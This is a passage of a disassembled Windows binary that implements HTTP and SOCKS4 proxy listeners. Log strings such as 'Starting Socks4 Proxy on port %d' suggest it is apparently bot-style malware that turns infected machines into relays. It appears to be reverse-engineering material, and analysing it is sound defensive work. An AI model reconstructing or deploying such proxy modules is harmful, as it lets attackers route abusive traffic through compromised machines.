		lea	ecx, [esp+60h]
		mov	byte ptr [esp+54A0h], 0Ch
		call	sub_401226


loc_42A5DE:				; CODE XREF: ___:00429987j
		lea	ecx, [esp+48h]
		mov	byte ptr [esp+54A0h], 2
		call	sub_401226


loc_42A5EF:				; CODE XREF: ___:00429741j
					; ___:0042975Aj ...
		lea	ecx, [esp+30h]
		mov	byte ptr [esp+54A0h], 1
		call	sub_401226


loc_42A600:				; CODE XREF: ___:00429635j
		lea	ecx, [esp+14h]
		mov	byte ptr [esp+54A0h], 0
		call	sub_401226
		lea	ecx, [esp+0B8h]
		mov	[esp+54A0h], esi
		call	sub_4014BA
		jmp	loc_42A57C
; ---------------------------------------------------------------------------


loc_42A629:				; CODE XREF: ___:00429AB3j
		mov	eax, [ebp+0BBh]
		push	eax
		nop
		call	near ptr 71AB9639h
		jmp	loc_42A79A
; ---------------------------------------------------------------------------


loc_42A63B:				; CODE XREF: ___:00429BF4j
		lea	ecx, [esp+0CDh]
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+18h]
		push	offset aHttp1_0503Serv ; "HTTP/1.0 503 Service Unavailable\r\nServe"...
		push	ecx
		call	sub_40102D
		add	esp, 0Ch
		lea	ecx, [esp+14h]
		push	0
		call	sub_4013E3
		push	eax
		lea	ecx, [esp+1Ch]
		call	sub_4017EE
		mov	edx, [ebp+0BBh]
		push	eax
		push	edx
		call	near ptr 71AB428Ah
		nop
		mov	eax, [ebp+0BBh]
		mov	esi, dword_511C9C
		push	eax
		call	esi	; closesocket
		mov	ecx, [ebp+0BFh]
		push	ecx
		jmp	loc_42A798
; ---------------------------------------------------------------------------


loc_42A698:				; CODE XREF: ___:00429C10j
		mov	edx, [esp+10Ch]
		lea	ecx, [esp+0CDh]
		push	edx
		call	sub_4017EE
		push	eax
		lea	eax, [esp+1Ch]
		push	offset aHttp1_0503Se_0 ; "HTTP/1.0 503 Service Unavailable\r\nServe"...
		push	eax
		call	sub_40102D
		add	esp, 10h
		lea	ecx, [esp+14h]
		push	0
		call	sub_4013E3
		push	eax
		lea	ecx, [esp+1Ch]
		call	sub_4017EE
		mov	ecx, [ebp+0BBh]
		push	eax
		push	ecx
		nop
		call	near ptr 71AB428Ah


loc_42A6E2:				; CODE XREF: ___:00429CC1j
					; ___:00429CC9j
		mov	edx, [ebp+0BBh]
		mov	esi, dword_511C9C
		push	edx
		call	esi	; closesocket
		mov	eax, [ebp+0BFh]
		push	eax
		jmp	loc_42A798
; ---------------------------------------------------------------------------


loc_42A6FD:				; CODE XREF: ___:00429B9Ej
		mov	ecx, [ebp+0BBh]
		push	ecx
		nop
		call	near ptr 71AB9639h
		jmp	loc_42A79A
; ---------------------------------------------------------------------------


loc_42A70F:				; CODE XREF: ___:00429CEFj
		lea	ecx, [esp+88h]
		mov	byte ptr [esp+54A0h], 0Dh
		call	sub_401226
		lea	ecx, [esp+60h]
		mov	byte ptr [esp+54A0h], 0Ch
		call	sub_401226
		lea	ecx, [esp+48h]
		mov	byte ptr [esp+54A0h], 2
		call	sub_401226
		lea	ecx, [esp+30h]
		mov	byte ptr [esp+54A0h], 1
		call	sub_401226
		lea	ecx, [esp+14h]
		mov	byte ptr [esp+54A0h], 0
		call	sub_401226
		lea	ecx, [esp+0B8h]
		mov	[esp+54A0h], ebx
		call	sub_4014BA
		or	esi, 0FFFFFFFFh
		jmp	loc_42A57C
; ---------------------------------------------------------------------------


loc_42A782:				; CODE XREF: ___:0042A2F5j
					; ___:0042A2FDj
		mov	ecx, [ebp+0BBh]
		mov	esi, dword_511C9C
		push	ecx
		call	esi	; closesocket
		mov	edx, [ebp+0BFh]
		push	edx


loc_42A798:				; CODE XREF: ___:0042A693j
					; ___:0042A6F8j
		call	esi	; closesocket


loc_42A79A:				; CODE XREF: ___:0042A636j
					; ___:0042A70Aj
		lea	ecx, [esp+88h]
		mov	byte ptr [esp+54A0h], 0Dh
		call	sub_401226
		lea	ecx, [esp+60h]
		mov	byte ptr [esp+54A0h], 0Ch
		call	sub_401226
		lea	ecx, [esp+48h]
		mov	byte ptr [esp+54A0h], 2
		call	sub_401226
		lea	ecx, [esp+30h]
		mov	byte ptr [esp+54A0h], 1
		call	sub_401226
		lea	ecx, [esp+14h]
		mov	byte ptr [esp+54A0h], 0
		call	sub_401226
		lea	ecx, [esp+0B8h]
		mov	[esp+54A0h], ebx
		call	sub_4014BA
		jmp	loc_42A5B4
; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 4A0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42ACB0	proc near		; CODE XREF: sub_4018EDj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_42ACB0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_401FA0
		push	offset aHttp_0	; "HTTP"
		lea	ecx, [esi+11h]
		mov	[esp+18h+var_4], 0
		mov	dword ptr [esi], offset	off_43F15C
		call	sub_4015E1
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_42ACB0	endp

; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42AD20:				; CODE XREF: ___:loc_40112Cj
					; ___:0040128Fj
		push	esi
		mov	esi, ecx
		call	sub_402126
		test	byte ptr [esp+8], 1
		jz	short loc_42AD38
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_42AD38:				; CODE XREF: ___:0042AD2Dj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42AD50	proc near		; CODE XREF: sub_402126j
		push	esi
		mov	esi, ecx
		mov	eax, [esi+9Eh]
		mov	dword ptr [esi], offset	off_43F15C
		cmp	eax, 0FFFFFFFFh
		jz	short loc_42AD6B
		push	eax
		nop
		call	near ptr 71AB9639h


loc_42AD6B:				; CODE XREF: sub_42AD50+12j
		mov	ecx, esi
		call	sub_4017A8
		pop	esi
		retn
sub_42AD50	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42AD90	proc near		; CODE XREF: sub_4010E1j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_42AD90
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	edi
		mov	edi, ecx
		mov	dword ptr [edi+9Eh], 0FFFFFFFFh


loc_42ADB3:				; CODE XREF: sub_42AD90+48j
		mov	eax, [edi+99h]
		mov	cl, [eax+11Ch]
		test	cl, cl
		jz	short loc_42ADDA
		mov	ecx, [edi+3Bh]
		push	ecx
		call	sub_40198D
		add	esp, 4
		cmp	eax, 0FFFFFFFFh
		mov	[edi+9Eh], eax
		jz	short loc_42ADB3


loc_42ADDA:				; CODE XREF: sub_42AD90+31j
		mov	edx, [edi+99h]
		mov	al, [edx+11Ch]
		test	al, al
		jz	loc_42AEAC
		push	ebp
		push	esi


loc_42ADF0:				; CODE XREF: sub_42AD90+114j
		mov	eax, [edi+9Eh]
		push	eax
		call	sub_4012DF
		mov	ebp, eax
		add	esp, 4
		cmp	ebp, 0FFFFFFFFh
		jz	loc_42AE8B
		test	ebp, ebp
		jz	short loc_42AE8B
		push	0C3h
		call	sub_437AEA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+1Ch+var_10], eax
		test	eax, eax
		mov	[esp+1Ch+var_4], 0
		jz	short loc_42AE36
		mov	ecx, eax
		call	sub_401893
		mov	esi, eax
		jmp	short loc_42AE38
; ---------------------------------------------------------------------------


loc_42AE36:				; CODE XREF: sub_42AD90+99j
		xor	esi, esi


loc_42AE38:				; CODE XREF: sub_42AD90+A4j
		mov	ecx, [edi+99h]
		mov	[esi+9Dh], edi
		mov	[esi+99h], ecx
		mov	edx, [edi+3Bh]
		lea	eax, [edi+26h]
		lea	ecx, [esi+26h]
		push	eax
		mov	[esp+20h+var_4], 0FFFFFFFFh
		mov	[esi+3Bh], edx
		mov	[esi+0BBh], ebp
		call	sub_401FDC
		mov	cl, [edi+97h]
		mov	[esi+97h], cl
		mov	dl, [edi+98h]
		mov	ecx, esi
		mov	[esi+98h], dl
		call	sub_4013DE
		jmp	short loc_42AE96
; ---------------------------------------------------------------------------


loc_42AE8B:				; CODE XREF: sub_42AD90+74j
					; sub_42AD90+7Cj
		push	0FAh
		call	near ptr 2830000h
		nop


loc_42AE96:				; CODE XREF: sub_42AD90+F9j
		mov	eax, [edi+99h]
		mov	cl, [eax+11Ch]
		test	cl, cl
		jnz	loc_42ADF0
		pop	esi
		pop	ebp


loc_42AEAC:				; CODE XREF: sub_42AD90+58j
		mov	edi, [edi+9Eh]
		cmp	edi, 0FFFFFFFFh
		jz	short loc_42AEBE
		push	edi
		call	near ptr 71AB9639h
		nop


loc_42AEBE:				; CODE XREF: sub_42AD90+125j
		mov	ecx, [esp+14h+var_C]
		pop	edi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_42AD90	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42AF20	proc near		; CODE XREF: sub_40137Aj
		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		mov	al, [esi+9Dh]
		lea	edi, [esi+11h]
		test	al, al
		mov	eax, [esi+3Bh]
		lea	ebx, [esi+26h]
		push	eax
		mov	ecx, edi
		jz	short loc_42AF48
		call	sub_4017EE
		push	eax
		push	offset aSStartingProxy ; "[%s] Starting	proxy on %d with SSL."
		jmp	short loc_42AF53
; ---------------------------------------------------------------------------


loc_42AF48:				; CODE XREF: sub_42AF20+19j
		call	sub_4017EE
		push	eax
		push	offset aSStartingPro_0 ; "[%s] Starting	proxy on port %d."


loc_42AF53:				; CODE XREF: sub_42AF20+26j
		mov	ecx, ebx
		call	sub_4014DD
		mov	cl, [esi+98h]
		mov	dl, [esi+97h]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D8085
		call	sub_401857
		add	esp, 1Ch
		mov	ecx, esi
		call	sub_4010E1
		mov	eax, [esi+3Bh]
		mov	ecx, edi
		push	eax
		call	sub_4017EE
		push	eax
		push	offset aSUnloadedProxy ; "[%s] Unloaded	proxy on port %d."
		mov	ecx, ebx
		call	sub_4014DD
		mov	cl, [esi+98h]
		mov	dl, [esi+97h]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D8085
		call	sub_401857
		add	esp, 1Ch
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_42AF20	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42AFF0	proc near		; CODE XREF: sub_40213Aj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_42AFF0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_401FA0
		push	offset aSocks4	; "Socks4"
		lea	ecx, [esi+11h]
		mov	[esp+18h+var_4], 0
		mov	dword ptr [esi], offset	off_43F16C
		call	sub_4015E1
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_42AFF0	endp

; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42B060:				; CODE XREF: ___:0040187Fj
					; ___:loc_401B18j
		push	esi
		mov	esi, ecx
		call	sub_401FA5
		test	byte ptr [esp+8], 1
		jz	short loc_42B078
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_42B078:				; CODE XREF: ___:0042B06Dj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_42B090	proc near		; CODE XREF: sub_401FA5j
		jmp	sub_4017A8
sub_42B090	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42B0B0	proc near		; CODE XREF: sub_4010AFj

var_81D		= byte ptr -81Dh
var_81C		= dword	ptr -81Ch
var_818		= dword	ptr -818h
var_814		= dword	ptr -814h
var_810		= dword	ptr -810h
var_80C		= dword	ptr -80Ch
var_808		= byte ptr -808h
var_807		= byte ptr -807h
var_806		= word ptr -806h
var_804		= dword	ptr -804h
var_800		= byte ptr -800h
var_400		= byte ptr -400h

		sub	esp, 820h
		lea	eax, [esp+820h+var_81D]
		push	ebx
		push	ebp
		push	esi
		mov	esi, dword_511CA4
		mov	ebp, ecx
		push	edi
		push	0
		push	1
		mov	ecx, [ebp+0A1h]
		push	eax
		push	ecx
		call	esi	; recv
		cmp	eax, 1
		jge	short loc_42B0F1
		mov	edx, [ebp+0A1h]
		push	edx
		nop
		call	near ptr 71AB9639h
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 820h
		retn
; ---------------------------------------------------------------------------


loc_42B0F1:				; CODE XREF: sub_42B0B0+27j
		cmp	[esp+830h+var_81D], 4
		jnz	loc_42B2DC
		mov	ecx, [ebp+0A1h]
		push	0
		lea	eax, [esp+834h+var_807]
		push	406h
		push	eax
		push	ecx
		call	esi	; recv
		cmp	eax, 1
		jge	short loc_42B12E
		mov	edx, [ebp+0A1h]
		push	edx
		nop
		call	near ptr 71AB9639h
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 820h
		retn
; ---------------------------------------------------------------------------


loc_42B12E:				; CODE XREF: sub_42B0B0+64j
		cmp	[esp+830h+var_807], 1
		jnz	loc_42B2DC
		mov	cx, [esp+830h+var_806]
		mov	edx, [esp+830h+var_804]
		xor	eax, eax
		push	6
		mov	[esp+834h+var_818], eax
		push	1
		mov	[esp+838h+var_814], eax
		push	2
		mov	[esp+83Ch+var_810], eax
		mov	word ptr [esp+83Ch+var_818], 2
		mov	[esp+83Ch+var_80C], eax
		mov	word ptr [esp+83Ch+var_818+2], cx
		mov	[esp+83Ch+var_814], edx
		nop
		call	near ptr 71AB3B91h
		mov	ebx, eax
		lea	eax, [esp+830h+var_818]
		push	10h
		push	eax
		push	ebx
		nop
		call	near ptr 71AB406Ah
		cmp	eax, 0FFFFFFFFh
		mov	[esp+830h+var_808], 0
		jnz	short loc_42B1C9
		mov	edx, [ebp+0A1h]
		mov	ecx, 100h
		xor	eax, eax
		lea	edi, [esp+830h+var_800]
		mov	[esp+830h+var_807], 5Bh
		push	eax
		rep stosd
		lea	ecx, [esp+834h+var_808]
		push	8
		push	ecx
		push	edx
		nop
		call	near ptr 71AB428Ah
		mov	eax, [ebp+0A1h]
		push	eax
		nop
		call	near ptr 71AB9639h
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 820h
		retn
; ---------------------------------------------------------------------------


loc_42B1C9:				; CODE XREF: sub_42B0B0+D8j
		mov	edx, [ebp+0A1h]
		mov	ecx, 100h
		xor	eax, eax
		lea	edi, [esp+830h+var_800]
		mov	[esp+830h+var_807], 5Ah
		push	eax
		rep stosd
		lea	ecx, [esp+834h+var_808]
		push	8
		push	ecx
		push	edx
		nop
		call	near ptr 71AB428Ah
		mov	ecx, [ebp+0A1h]
		mov	esi, dword_511CAC
		lea	eax, [esp+830h+var_81C]
		mov	[esp+830h+var_81C], 1
		push	eax
		push	8004667Eh
		push	ecx
		call	esi	; ioctlsocket
		lea	edx, [esp+830h+var_81C]
		mov	[esp+830h+var_81C], 1
		push	edx
		push	8004667Eh
		push	ebx
		call	esi	; ioctlsocket


loc_42B226:				; CODE XREF: sub_42B0B0+1AFj
					; sub_42B0B0+1FEj ...
		mov	edi, dword_511CA4
		push	0
		lea	eax, [esp+834h+var_400]
		push	400h
		push	eax
		push	ebx
		call	edi	; recv
		mov	esi, eax
		test	esi, esi
		jz	loc_42B2CA
		jge	short loc_42B261
		nop
		call	near ptr 71AB94DCh
		cmp	eax, 2733h
		jz	short loc_42B261
		push	0Ah
		nop
		call	near ptr 2830000h
		jmp	short loc_42B226
; ---------------------------------------------------------------------------


loc_42B261:				; CODE XREF: sub_42B0B0+198j
					; sub_42B0B0+1A5j
		mov	edx, [ebp+0A1h]
		push	0
		lea	ecx, [esp+834h+var_400]
		push	esi
		push	ecx
		push	edx
		call	near ptr 71AB428Ah
		nop
		mov	ecx, [ebp+0A1h]
		push	0
		lea	eax, [esp+834h+var_400]
		push	400h
		push	eax
		push	ecx
		call	edi	; recv
		mov	esi, eax
		test	esi, esi
		jz	short loc_42B2CA
		jge	short loc_42B2B3
		nop
		call	near ptr 71AB94DCh
		cmp	eax, 2733h
		jz	short loc_42B2B3
		push	0Ah
		nop
		call	near ptr 2830000h
		jmp	loc_42B226
; ---------------------------------------------------------------------------


loc_42B2B3:				; CODE XREF: sub_42B0B0+1E7j
					; sub_42B0B0+1F4j
		push	0
		lea	edx, [esp+834h+var_400]
		push	esi
		push	edx
		push	ebx
		call	near ptr 71AB428Ah
		nop
		jmp	loc_42B226
; ---------------------------------------------------------------------------


loc_42B2CA:				; CODE XREF: sub_42B0B0+192j
					; sub_42B0B0+1E5j
		mov	eax, [ebp+0A1h]
		mov	esi, dword_511C9C
		push	eax
		call	esi	; closesocket
		push	ebx
		call	esi	; closesocket


loc_42B2DC:				; CODE XREF: sub_42B0B0+46j
					; sub_42B0B0+83j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 820h
		retn
sub_42B0B0	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 90h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42B380	proc near		; CODE XREF: sub_40218Aj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_42B380
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_401FA0
		push	offset aSocks4	; "Socks4"
		lea	ecx, [esi+11h]
		mov	[esp+18h+var_4], 0
		mov	dword ptr [esi], offset	off_43F17C
		call	sub_4015E1
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_42B380	endp

; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42B3F0	proc near		; CODE XREF: ___:00401032j sub_4017B2j

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_401C4E
		test	[esp+4+arg_0], 1
		jz	short loc_42B408
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_42B408:				; CODE XREF: sub_42B3F0+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_42B3F0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_42B420	proc near		; CODE XREF: sub_401C4Ej
		jmp	sub_4017A8
sub_42B420	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42B440	proc near		; CODE XREF: sub_40189Dj

var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_18		= byte ptr -18h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_42B440
		push	eax
		mov	large fs:0, esp
		sub	esp, 28h
		push	ebx
		push	esi
		mov	esi, ecx
		mov	eax, [esi+3Bh]
		lea	ecx, [esi+11h]
		push	eax
		lea	ebx, [esi+26h]
		call	sub_4017EE
		push	eax
		push	offset aSStartingSocks ; "[%s] Starting	Socks4 Proxy on	port %d."
		mov	ecx, ebx
		call	sub_4014DD
		mov	cl, [esi+98h]
		mov	dl, [esi+97h]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D8085
		call	sub_401857
		add	esp, 1Ch
		push	6
		push	1
		push	2
		nop
		call	near ptr 71AB3B91h
		cmp	eax, 0FFFFFFFFh
		mov	[esi+9Dh], eax
		jz	loc_42B649
		mov	cx, [esi+3Bh]
		xor	eax, eax
		mov	[esp+3Ch+var_2C], eax
		push	ecx
		mov	[esp+40h+var_28], eax
		mov	word ptr [esp+40h+var_2C], 2
		mov	[esp+40h+var_24], eax
		mov	[esp+40h+var_20], eax
		call	near ptr 71AB2B66h
		nop
		mov	word ptr [esp+3Ch+var_2C+2], ax
		mov	eax, [esi+9Dh]
		lea	edx, [esp+3Ch+var_2C]
		push	10h
		push	edx
		push	eax
		mov	[esp+48h+var_34], 10h
		nop
		call	near ptr 71AB3E00h
		test	eax, eax
		jz	short loc_42B516
		mov	ecx, [esi+9Dh]
		push	ecx
		call	near ptr 71AB9639h
		nop
		pop	esi
		pop	ebx
		mov	ecx, [esp+34h+var_C]
		mov	large fs:0, ecx
		add	esp, 34h
		retn
; ---------------------------------------------------------------------------


loc_42B516:				; CODE XREF: sub_42B440+B6j
		mov	edx, [esi+99h]
		push	ebp
		push	edi
		mov	al, [edx+11Ch]
		test	al, al
		jz	loc_42B600


loc_42B52C:				; CODE XREF: sub_42B440+1BAj
		mov	eax, [esi+9Dh]
		push	0Ah
		push	eax
		nop
		call	near ptr 71AB88D3h
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_42B550
		push	0FAh
		call	near ptr 2830000h
		nop
		jmp	loc_42B5EC
; ---------------------------------------------------------------------------


loc_42B550:				; CODE XREF: sub_42B440+FEj
		mov	eax, [esi+9Dh]
		lea	ecx, [esp+40h+var_30]
		lea	edx, [esp+40h+var_18]
		push	ecx
		push	edx
		push	eax
		nop
		call	near ptr 71AC1028h
		mov	ebp, eax
		cmp	ebp, 0FFFFFFFFh
		jz	loc_42B600
		xor	edi, edi
		cmp	ebp, edi
		jz	loc_42B600
		push	0A5h
		call	sub_437AEA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+44h+var_30], eax
		cmp	eax, edi
		mov	[esp+44h+var_4], edi
		jz	short loc_42B59E
		mov	ecx, eax
		call	sub_40213A
		mov	edi, eax


loc_42B59E:				; CODE XREF: sub_42B440+153j
		mov	ecx, [esi+99h]
		mov	[edi+9Dh], esi
		mov	[edi+99h], ecx
		mov	edx, [esi+3Bh]
		push	ebx
		lea	ecx, [edi+26h]
		mov	[esp+48h+var_4], 0FFFFFFFFh
		mov	[edi+3Bh], edx
		mov	[edi+0A1h], ebp
		call	sub_401FDC
		mov	al, [esi+97h]
		mov	[edi+97h], al
		mov	cl, [esi+98h]
		mov	[edi+98h], cl
		mov	ecx, edi
		call	sub_4013DE


loc_42B5EC:				; CODE XREF: sub_42B440+10Bj
		mov	edx, [esi+99h]
		mov	al, [edx+11Ch]
		test	al, al
		jnz	loc_42B52C


loc_42B600:				; CODE XREF: sub_42B440+E6j
					; sub_42B440+12Cj ...
		mov	eax, [esi+9Dh]
		pop	edi
		cmp	eax, 0FFFFFFFFh
		pop	ebp
		jz	short loc_42B614
		push	eax
		nop
		call	near ptr 71AB9639h


loc_42B614:				; CODE XREF: sub_42B440+1CBj
		mov	eax, [esi+3Bh]
		lea	ecx, [esi+11h]
		push	eax
		call	sub_4017EE
		push	eax
		push	offset aSUnloadedPro_0 ; "[%s] Unloaded	proxy on %d."
		mov	ecx, ebx
		call	sub_4014DD
		mov	cl, [esi+98h]
		mov	dl, [esi+97h]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D8085
		call	sub_401857
		add	esp, 1Ch


loc_42B649:				; CODE XREF: sub_42B440+69j
		mov	ecx, [esp+3Ch+var_C]
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 34h
		retn
sub_42B440	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 90h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42B6F0	proc near		; CODE XREF: sub_401758j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	eax
		nop
		call	near ptr 71AB4FD4h
		test	eax, eax
		jz	short loc_42B711
		mov	ecx, [eax+0Ch]
		mov	edx, [ecx]
		mov	ecx, [esp+arg_4]
		mov	eax, [edx]
		mov	[ecx], eax
		mov	al, 1
		retn	8
; ---------------------------------------------------------------------------


loc_42B711:				; CODE XREF: sub_42B6F0+Dj
		xor	al, al
		retn	8
sub_42B6F0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42B730	proc near		; CODE XREF: sub_4020E0j

var_50C		= dword	ptr -50Ch
var_508		= dword	ptr -508h
var_504		= dword	ptr -504h
var_500		= dword	ptr -500h
var_4FC		= dword	ptr -4FCh
var_400		= byte ptr -400h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		sub	esp, 50Ch
		push	ebx
		mov	ebx, [esp+510h+arg_4]
		push	ebp
		push	esi
		push	edi
		mov	[esp+51Ch+var_50C], 0
		mov	[esp+51Ch+var_508], 0


loc_42B751:				; CODE XREF: sub_42B730+12Cj
		mov	ebp, [esp+51Ch+arg_0]
		mov	[esp+51Ch+var_504], 1
		mov	[esp+51Ch+var_500], ebp
		xor	eax, eax
		lea	ecx, [esp+51Ch+var_500]


loc_42B76A:				; CODE XREF: sub_42B730+45j
		cmp	[ecx], ebx
		jz	short loc_42B777
		inc	eax
		add	ecx, 4
		cmp	eax, 1
		jb	short loc_42B76A


loc_42B777:				; CODE XREF: sub_42B730+3Cj
		cmp	eax, 1
		jnz	short loc_42B788
		mov	[esp+51Ch+var_4FC], ebx
		mov	[esp+51Ch+var_504], 2


loc_42B788:				; CODE XREF: sub_42B730+4Aj
		lea	eax, [esp+51Ch+var_50C]
		lea	ecx, [esp+51Ch+var_504]
		push	eax
		push	0
		push	0
		push	ecx
		push	2
		nop
		call	near ptr 71AB2DC0h
		test	eax, eax
		jbe	short loc_42B813
		cmp	eax, 0FFFFFFFFh
		jz	short loc_42B813
		lea	edx, [esp+51Ch+var_504]
		push	edx
		push	ebp
		call	sub_438256
; ---------------------------------------------------------------------------
		test	eax, eax
		jz	short loc_42B7BC
		mov	eax, ebp
		mov	ebp, ebx
		jmp	short loc_42B7BE
; ---------------------------------------------------------------------------


loc_42B7BC:				; CODE XREF: sub_42B730+84j
		mov	eax, ebx


loc_42B7BE:				; CODE XREF: sub_42B730+8Aj
		push	0
		lea	ecx, [esp+520h+var_400]
		push	3FFh
		push	ecx
		push	eax
		nop
		call	near ptr 71AB615Ah
		mov	edi, eax
		xor	esi, esi
		cmp	edi, 0FFFFFFFFh
		mov	[esp+edi+51Ch+var_400],	0
		jz	short loc_42B862
		test	edi, edi
		jz	short loc_42B862
		jbe	short loc_42B80C


loc_42B7EB:				; CODE XREF: sub_42B730+DAj
		mov	edx, edi
		push	0
		sub	edx, esi
		lea	eax, [esp+esi+520h+var_400]
		push	edx
		push	eax
		push	ebp
		nop
		call	near ptr 71AB428Ah
		cmp	eax, 0FFFFFFFFh
		jz	short loc_42B862
		add	esi, eax
		cmp	esi, edi
		jb	short loc_42B7EB


loc_42B80C:				; CODE XREF: sub_42B730+B9j
		mov	ebp, [esp+51Ch+arg_0]


loc_42B813:				; CODE XREF: sub_42B730+70j
					; sub_42B730+75j
		mov	[esp+51Ch+var_500], ebp
		mov	[esp+51Ch+var_504], 1
		xor	eax, eax
		lea	ecx, [esp+51Ch+var_500]


loc_42B825:				; CODE XREF: sub_42B730+100j
		cmp	[ecx], ebx
		jz	short loc_42B832
		inc	eax
		add	ecx, 4
		cmp	eax, 1
		jb	short loc_42B825


loc_42B832:				; CODE XREF: sub_42B730+F7j
		cmp	eax, 1
		jnz	short loc_42B844
		mov	[esp+eax*4+51Ch+var_500], ebx
		mov	eax, [esp+51Ch+var_504]
		inc	eax
		mov	[esp+51Ch+var_504], eax


loc_42B844:				; CODE XREF: sub_42B730+105j
		lea	ecx, [esp+51Ch+var_50C]
		lea	edx, [esp+51Ch+var_504]
		push	ecx
		push	edx
		push	0
		push	0
		push	2
		nop
		call	near ptr 71AB2DC0h
		test	eax, eax
		jle	loc_42B751


loc_42B862:				; CODE XREF: sub_42B730+B3j
					; sub_42B730+B7j ...
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		add	esp, 50Ch
		retn	8
sub_42B730	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 60h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42B8E0	proc near		; CODE XREF: sub_401C30j

var_51C		= word ptr -51Ch
var_51A		= word ptr -51Ah
var_518		= dword	ptr -518h
var_50C		= dword	ptr -50Ch
var_508		= dword	ptr -508h
var_504		= dword	ptr -504h
var_500		= dword	ptr -500h
var_400		= dword	ptr -400h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		sub	esp, 51Ch
		push	ebx
		push	ebp
		mov	ebp, [esp+524h+arg_4]
		push	esi
		push	edi
		mov	edx, ecx
